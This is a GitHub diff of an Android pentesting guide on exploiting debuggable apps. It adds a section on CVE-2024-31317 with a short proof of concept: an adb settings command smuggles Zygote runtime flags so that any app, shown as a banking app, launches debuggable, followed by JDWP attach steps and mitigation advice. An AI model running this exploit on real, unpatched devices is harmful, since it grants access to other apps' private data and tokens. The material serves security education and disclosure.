You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md
+40-5Lines changed: 40 additions & 5 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -15,7 +15,7 @@ Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass
15
15
1.**Decompile the APK:**
16
16
17
17
- Utilize the APK-GUI tool for decompiling the APK.
18
-
- In the _android-manifest_ file, insert `android:debuggable=true` to enable debugging mode.
18
+
- In the _android-manifest_ file, insert `android:debuggable="true"` to enable debugging mode.
19
19
- Recompile, sign, and zipalign the modified application.
20
20
21
21
2.**Install the Modified Application:**
@@ -30,7 +30,7 @@ Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass
30
30
31
31
- Command: `adb shell am setup-debug-app –w <package_name>`.
32
32
-**Note:** This command must be run each time before starting the application to ensure it waits for the debugger.
33
-
- For persistence, use `adb shell am setup-debug-app –w -–persistent <package_name>`.
33
+
- For persistence, use `adb shell am setup-debug-app –w ––persistent <package_name>`.
34
34
- To remove all flags, use `adb shell am clear-debug-app <package_name>`.
35
35
36
36
5.**Prepare for Debugging in Android Studio:**
@@ -83,12 +83,47 @@ A demonstration was provided using a vulnerable application containing a button
83
83
84
84
This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context.
85
85
86
+
---
87
+
88
+
# 2024 – Turning **any** application into a debuggable process (CVE-2024-31317)
89
+
90
+
Even if the target APK is _not_ shipped with the `android:debuggable` flag, recent research showed that it is possible to force **arbitrary applications** to start with the `DEBUG_ENABLE_JDWP` runtime flag by abusing the way Zygote parses command-line arguments.
91
+
92
+
***Vulnerability:** Improper validation of `--runtime-flags` supplied through Zygote’s command socket allows an attacker that can reach `system_server` (for example via the privileged `adb` shell which owns the `WRITE_SECURE_SETTINGS` permission) to inject extra parameters. When the crafted command is replayed by `system_server`, the victim app is forked as _debuggable_ and with a JDWP thread listening. The issue is tracked as **CVE-2024-31317** and was fixed in the June 2024 Android Security Bulletin.
93
+
***Impact:** Full read/write access to the private data directory of **any** app (including privileged ones such as `com.android.settings`), token theft, MDM bypass, and in many cases a direct path to privilege-escalation by abusing exported IPC endpoints of the now-debuggable process.
94
+
***Affected versions:** Android 9 through 14 prior to the June 2024 patch level.
95
+
96
+
## Quick PoC
97
+
98
+
```bash
99
+
# Requires: adb shell (device must be <2024-06-01 patch-level)
100
+
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
101
+
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
102
+
103
+
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
104
+
adb shell monkey -p com.victim.bank 1
105
+
106
+
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
> The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible **without modifying the APK or the device boot image**.
113
+
114
+
## Detection & Mitigation
115
+
116
+
* Patch to **2024-06-01** (or later) security level – Google hardened `ZygoteCommandBuffer` so that subsequent commands cannot be smuggled in this way.
117
+
* Restrict `WRITE_SECURE_SETTINGS` / `shell` access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps.
118
+
* On EMM/MDM-managed fleets, enforce `ro.debuggable=0` and deny shell via `adb disable-verifier`.
0 commit comments